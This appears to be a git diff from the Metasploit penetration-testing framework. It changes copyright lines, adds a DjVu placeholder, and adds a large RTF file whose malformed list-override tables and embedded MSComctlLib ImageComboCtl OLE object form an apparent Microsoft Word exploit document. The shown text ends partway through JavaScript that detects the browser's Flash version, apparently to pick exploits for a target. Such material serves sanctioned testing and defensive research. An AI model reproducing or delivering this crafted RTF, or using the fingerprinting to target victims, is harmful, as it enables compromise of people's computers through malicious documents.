||||||
#!/usr/bin/env ruby
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
# Copyright (C) 2008 Metasploit LLC
|
# Copyright (C) 2008 Rapid7, Inc.
|
||||||
|
|
||||||
#
|
#
|
||||||
# This script extracts the forms from the main page of each
|
# This script extracts the forms from the main page of each
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
#!/usr/bin/env ruby
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
# Copyright (C) 2008 Metasploit LLC
|
# Copyright (C) 2008 Rapid7, Inc.
|
||||||
|
|
||||||
#
|
#
|
||||||
# This script extracts the forms from the main page of each
|
# This script extracts the forms from the main page of each
|
||||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1 @@
|
||||||
|
Any DjVu file can be used this is just a snazzy Metasploit one
|
|
@ -0,0 +1,183 @@
|
||||||
|
{\rt{{{\{\info{\author ismail - [2010{\n{\info{\author ismail - [2010]}ofcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}]}info{\revtim\yr{\creatim\yr2014\{\info{\author ismail - [2010]}mo3\dy8\hr3\min9}2014\m{\revt{\*\company home}im\yr2014\mo3\dy8\hr3\min9}{\info{{\revtim\yr2014\mo3\dy8\hr3\min9}\author ismail - [201{\crea{{\revtim\yr2014\mo3\dy8\hr3\min9}\info{\author ismail - [2010]}tim\yr2014\mo3\dy8\hr3\min9}0]}o3\dy8\hr3\min9}{\aut{\nofcha{\info{\author ismail - [2010]}rsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3{\creatim\yr2014\mo3\dy8\hr3\min9}\dy8\hr3\min9}\*
|
||||||
|
sidtbl
|
||||||
|
{\creatim\yr2014\mo3\dy8\hr3\min9}sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}hor ismail - [2010]}\revtim{\info{\author ismail - [20{\info{\author ismail - [2010]}10]}\yr2014\mo3\dy8\hr3\min9}{\revt{\inf{\c{\*\{\nofcharsw{\nofcharsws69}{\op{\c{\*\company home}reatim\yr2014\mo3\dy8{\creatim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}erator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}s69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}company home}reatim\yr2014\mo3\dy8\hr3\min9}o{\author ismail - [201{\nofcharsws69}{\operator is{{\revtim\yr2014\mo3\dy8\hr3\min9}\*\company home}mail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}0]}im\yr2014\m{\info{\author ism{\creatim\yr2014\mo3\dy8\hr3\min9}ai{\revtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}o3\dy8\hr3\min9}{\*\company home}\i{{{\crea{\nofcharsws69}{\operator ismai{\creatim{\nofcharsws69}{\o{\*\company home}{\revtim\yr2014\mo3\dy8\hr3\min9}perator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014{\*\company home}\mo3\dy8\hr3\min9}l - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}tim{\nofcharsws{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014\mo3\dy8{\revtim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}\{{\creatim\yr2014\mo3\dy8\hr3\min9}\cr{\creati{\*\company home}m{\*\company home}\yr2{\creatim\yr2014\mo3\dy8\hr3\min9}0{\revtim\yr2014\mo3\dy8\hr3\min9}14\mo3\dy8\hr3\min9}eatim{\*\company home{\creatim\yr2014\mo3\dy8\hr3\min9}}\yr2014\mo3\dy8\hr3\min9{\*\compa{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ny home}}revtim\yr20{\nof{\cr{\creatim\yr2014\mo3\dy8\hr3\min9}eatim\yr2014\mo3\dy8\hr3\min9}charsws69}{\ope{{\creatim\yr2014\mo3\dy8\hr3\min9}\*\company home}rator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\revtim\yr2014\mo3\dy8\hr3\min9}14\{\creatim\yr2014\mo3\{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}dy8\hr3\min9}mo3\dy8\hr{\info{\auth{\info{\author ismail - {\*\company home}[2010]}or ismail - [2010]}3\min9}{\*\company{\info{\author ismail - [2010]} home}\*\company home}nfo{\*\company home}{\author{\info{\auth{\info{\author ismail - [2010]}or ismail - [2010]} ismail - [2010]}{\r{{\*\company home}\revt{\n{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
si{\revtim\yr2014\mo3\dy8\hr3\min9}dt{\info{\author ismail - [2010]}bl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ofcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr20{{{\r{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}\nofcharsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3\dy8\hr3\min9}\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\info{\a{\revtim\yr2014\mo3\dy8\hr3\min9}uthor isma{\creatim\yr2014\mo3\dy8{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\hr3\min9}il - [2010]}14\mo3\dy8\hr3\{\*\company home}min9}evtim\yr{\no{\revtim\yr2014{\*\company home}\mo3\dy8\hr3\min9}fcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
{\*\company home}s{\revtim\yr2014\mo3\dy8\hr3\min9}id8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}2014\mo3\dy8\{{\creatim\yr201{\*\company home}4\{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}mo3\dy8\hr3\min9}\revtim\yr2014\mo3\dy8\hr3\min9}hr3\min9}f1{{\inf{\creatim\yr2014\mo3\dy8\hr3\min9}{\*\company home}o{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\a{\info{\no{\*\company home}fcharsws69}{\ope{\*\company home}rator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\author ismai{\r{\no{\revtim\yr2014\mo3\dy8\hr3\min9}fcharsws69}{\oper{\creatim\y{\creatim\yr2014\mo3\dy8\hr3\min9}r2014\mo3\dy8\hr3\min9}ator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}uthor isma{\*\company home{\info{\author ismail - [2010]}}il - [2010]}\*\list{{\creat{\{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}nofcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr2014{\revtim\yr2014\mo3\dy8\hr3\min9}\mo3\dy8\hr3\min9}\*\company home}{\revti{\*\company home}m\yr2014\mo3\dy8\hr3\min9}{\revtim\yr2014\mo3\dy8\h{\creatim\yr2014\mo3\dy8\hr3\min9}r3\mi{\creatim\yr2014\mo3\dy{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||||
|
sidtbl
|
||||||
|
sid8596814
|
||||||
|
sid8926214
|
||||||
|
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}8\hr3\min9}n9}overridetable{\listoverride\listid1094795585\listoverridecount25
|
||||||
|
{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}
|
||||||
|
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}}
|
||||||
|
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}}
|
||||||
|
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn232\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart1\levelpicture1\levelold1\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\leveltext\'ff\u-48831 ?\u48831 ?;}{\levelnumbers\'5A'‰dY'ï¸X';}\chbrdr\brdrnone\brdrcf1\chshdng0\chcfpat1\chcbpat1\f4\rtlch\fcs1 \af0 \ltrch\fbias0 \s69\hres1\chhres1\fi-361\li1081\lin6480\jclisttab\tx1081}}
|
||||||
|
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'92ZDCBA„Y';}}}
|
||||||
|
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn194\leveljc0\leveljcn3\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'5C'ÎÂX'ABCD;}}}
|
||||||
|
{\lfolevel}{\lfolevel}{\lfolevel}
|
||||||
|
\ls16962}}
|
||||||
|
{\object\objocx\f37\objsetsize\objw1500\objh749{\*\objclass MSComctlLib.ImageComboCtl.2}{\*\objdata 01050000020000001c000000
|
||||||
|
4d53436f6d63746c4c69622e496d616765436f6d626f43746c2e32000000000000000000001e0000
|
||||||
|
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000b00000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||||
|
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||||
|
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||||
|
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||||
|
fffffffffffffffffdffffff0d000000030000000400000005000000060000000700000008000000090000000a000000fefffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||||
|
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||||
|
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||||
|
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||||
|
ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000066a69ddd9485d111b16a00c0f0283628000000000000000000000000e01c
|
||||||
|
bb4913f3cd010c000000000100000000000003005000520049004e005400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
|
||||||
|
000000000000000002000000ae1000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000
|
||||||
|
0000000000000000000000000000060000000000000003004f00430058004e0041004d00450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000
|
||||||
|
000000000000000000000000010000001a000000000000000800560aca0200000100090000035308000006008806000000008806000026060f00060d574d464301000000000001007ed80000000001000000e40c000000000000e40c0000010000006c0000000000000000000000630000001a0000000000000000000000
|
||||||
|
560a0000ca02000020454d4600000100e40c000038000000070000000000000000000000000000000004000000030000690100000f0100000000000000000000000000001c830500552204000c0000001000000000000000000000000a000000100000000000000000000000180000000c00000000000000190000000c00
|
||||||
|
0000ffffff00260000001c0000000100000000000000000000000000000000000000250000000c0000000100000027000000180000000200000000000000ffffff0000000000250000000c00000002000000520000007001000003000000f1ffffff00000000000000000000000090010000000000000000000043006100
|
||||||
|
6c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0550745f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c18
|
||||||
|
5f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000050000004e0000007f133f1320340000cad55b27a9705f76002de575009b5b27fa0366000000000003000000050000004e0000001000000054000000
|
||||||
|
0000df0503000000050000005100000015000000d57b5f76f59a5b27de094e00000000000000000000000000000000007c664e77106a24009d3948777c664e776476000800000000250000000c000000030000002b000000180000000000000000000000630000001a0000001e0000001800000000000000000000006400
|
||||||
|
00001b000000520000007001000004000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000000000000000000000000000000000000000000032002e0030005c0030005c007700
|
||||||
|
69006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e36264760000
|
||||||
|
0000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000647600080000000025000000
|
||||||
|
0c00000004000000520000007001000005000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e0073002000530065007200690066000000000000000000000000000000000000000000000000000000000000000000000032002e00
|
||||||
|
30005c0030005c00770069006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76
|
||||||
|
f06a2400e362647600000000d46824008d885f7640692400f09f320010a032009cc724000bb44f7720a03200d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a17737122125c0c7240028c9240020c92400000000000400000000000000fcc7240064760008000000002500
|
||||||
|
00000c00000005000000250000000c00000003000000280000000c00000004000000280000000c00000005000000520000007001000005000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600
|
||||||
|
0000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e
|
||||||
|
4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400
|
||||||
|
e0638c7780f08f004600000000000000fa03660000000000000000006476000800000000250000000c00000005000000520000007001000004000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900
|
||||||
|
660000000000000000000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a2400
|
||||||
|
0000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76f06a2400e362647600000000d46824008d885f76406924007842ae069842ae069cc724000bb44f77a842ae06d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a1773712
|
||||||
|
2125c0c7240028c9240020c92400000000000400000000000000fcc724006476000800000000250000000c00000004000000250000000c000000030000005400000054000000000000000400000063000000150000000100000000040d4255250d42f7ffffff04000000010000004c000000000000000000000000000000
|
||||||
|
ffffffffffffffff500000002000000075000000160000000c00000001000000120000000c000000010000001b000000100000000000000000000000160000000c00000000000000250000000c0000000400000054000000540000000000000000000000ffffffffffffffff0100000000040d4255250d42f7ffffff0400
|
||||||
|
0000010000004c000000000000000000000000000000ffffffffffffffff500000000700000008000000520000007001000006000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900660000000000
|
||||||
|
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000
|
||||||
|
00000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000000061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000
|
||||||
|
985e4877a87bad0600000000f400000030b7ea070000ea076476000800000000250000000c00000006000000250000000c00000004000000280000000c00000006000000250000000c0000000300000054000000a8000000000000000400000063000000150000000100000000040d4255250d42ffffffff040000000f00
|
||||||
|
00004c000000000000000000000000000000ffffffffffffffff6c00000049006d0061006700650043006f006d0062006f00430074006c00200031000000040000000c00000007000000070000000800000008000000080000000c000000080000000800000008000000050000000400000003000000070000001b000000
|
||||||
|
100000000000000000000000160000000c00000000000000120000000c00000002000000280000000c00000005000000280000000c000000040000004b000000100000000000000005000000250000000c0000000d000080250000000c00000000000080280000000c00000002000000250000000c000000070000802800
|
||||||
|
00000c00000001000000190000000c000000ffffff00180000000c000000000000000a0000001000000000000000000000000c000000100000000000000000000000090000001000000001000000010000000b0000001000000001000000010000000e000000140000000000000010000000140000000400000003010800
|
||||||
|
050000000b0200000000050000000c0214004b0005000000090200000000050000000102ffffff0008000000fa0200000000000000000000040000002d01000007000000fc020000ffffff000000040000002d0101001c000000fb02f1ff0000000000009001000000000000000043616c696272690001003f3f0b003f24
|
||||||
|
003ff4003f3f3f3f0000f4003f3f3f3f040000002d010200070000001b041b00640000000000040000002c0100000700000016041b006400000000001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d0103001c00
|
||||||
|
0000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020004000000f001030004000000f00104001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e732053
|
||||||
|
65726966000000000000000000000000040000002d0103001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020009000000320a0400f7ff0100000020007500040000002e01010004000000
|
||||||
|
0201010005000000140200000000040000002e010000040000002d01040009000000320a0400f7ff01000000070008001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010500040000002d01040004000000f001
|
||||||
|
0500040000002d0102001e000000320a0400ffff0f000000496d616765436f6d626f43746c20310004000c00070007000800080008000c000800080008000500040003000700040000002e010000040000000201020004000000f001030004000000f0010400040000002c0100001c000000fb021000070000000000bc02
|
||||||
|
000000000102022253797374656d003f00003f3f3f3f3f3f3f3f3f3f0800000001003f3f3f3f3f00040000002d01030007000000fc020000ffffff000000040000002d01040004000000f001010008000000fa0200000000000000000000040000002d01010004000000f0010000050000000102ffffff00050000000902
|
||||||
|
000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||||
|
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||||
|
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fefffffffeffffff03000000feffffffffffffffffffffffffffffffffff
|
||||||
|
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||||
|
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||||
|
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||||
|
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00920300040000000000000000000000000000000000
|
||||||
|
00000000000000000000000000000000000000000000000000000000000000000000000000000000000049006d0061006700650043006f006d0062006f0031000000000000000000000000000000000000000000000000000000000000000000000000000000000000002143341208000000560a0000ca0200000324a055
|
||||||
|
0000060044000000000000000000000001efcdab0000050000000000060000000800008005000080b0303a0310000000070049006d0061006700650043006f006d0062006f00430074006c0020003100000000001fdeecbd0100050040cf2400000000000000000000000000000000000000000000000000000000000000
|
||||||
|
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||||
|
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000043006f006e00740065006e007400
|
||||||
|
730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000020000007400000000000000000000000000000000000000
|
||||||
|
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||||
|
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||||
|
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000
|
||||||
|
050000000d0000004d45544146494c455049435400560a0000d7faffff8a0200000800560a29050000
|
||||||
|
0100090000034101000004001100000000001100000026060f001800ffffffff00001000b004000030fdffffcc0800004c0100000900000026060f000800ffffffff020000001000000026060f001600ffffffff04000e00544e50500700a8623d50390586000a00000026060f000a00544e505000000200f00309000000
|
||||||
|
26060f000800ffffffff030000000f00000026060f001400544e505004000c00010000000100000000000000050000000b0230fdb004050000000c021c041c0409000000fa02050000000000ffffff002200040000002d01000007000000fc020100000000000000040000002d01010009000000fa020600080000000000
|
||||||
|
00022200040000002d01020007000000fc020000ffffff020000040000002d010300050000000902ffffff020400000004010d00070000001b044c01cc0830fdb004050000000902ff003302040000002d010000040000002d01010004000000f001020004000000f0010300030000001e000700000016043400b4074efe
|
||||||
|
ce0509000000fa02060040000000ff0033022200040000002d0102000500000014024efece050500000013022c00ac07040000002d010000040000002d01010004000000f0010200040000002701ffff040000002d010000040000002d010100030000001e000700000016043400b4074efece0509000000fa0206004000
|
||||||
|
0000ff0033022200040000002d0102000500000014024efeac070500000013022c00ce05040000002d010000040000002d01010004000000f0010200040000002701ffff0f00000026060f001400544e505004000c000000000000000000000000000900000026060f000800ffffffff01000000040000002d0100000400
|
||||||
|
00002d010100030000000000}}}}}}}}}}}}}}}}}}}}}}}
|
Binary file not shown.
|
@ -46,6 +46,53 @@ window.misc_addons_detect.hasSilverlight = function () {
|
||||||
return found;
|
return found;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the Adobe Flash version
|
||||||
|
**/
|
||||||
|
window.misc_addons_detect.getFlashVersion = function () {
|
||||||
|
var foundVersion = null;
|
||||||
|
|
||||||
|
//
|
||||||
|
// Gets the Flash version by using the GetVariable function via ActiveX
|
||||||
|
//
|
||||||
|
try {
|
||||||
|
var ax = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').toString();
|
||||||
|
foundVersion = ax.match(/[\d,]+/g)[0].replace(/,/g, '.')
|
||||||
|
} catch (e) {}
|
||||||
|
|
||||||
|
//
|
||||||
|
// This should work fine for most non-IE browsers
|
||||||
|
//
|
||||||
|
if (foundVersion == null) {
|
||||||
|
var mimes = window.navigator.mimeTypes;
|
||||||
|
for (var i=0; i<mimes.length; i++) {
|
||||||
|
var pluginDesc = mimes[i].enabledPlugin.description.toString();
|
||||||
|
var m = pluginDesc.match(/Shockwave Flash [\d\.]+/g);
|
||||||
|
if (m != null) {
|
||||||
|
foundVersion = m[0].match(/\d.+/g)[0];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Detection for Windows + Firefox
|
||||||
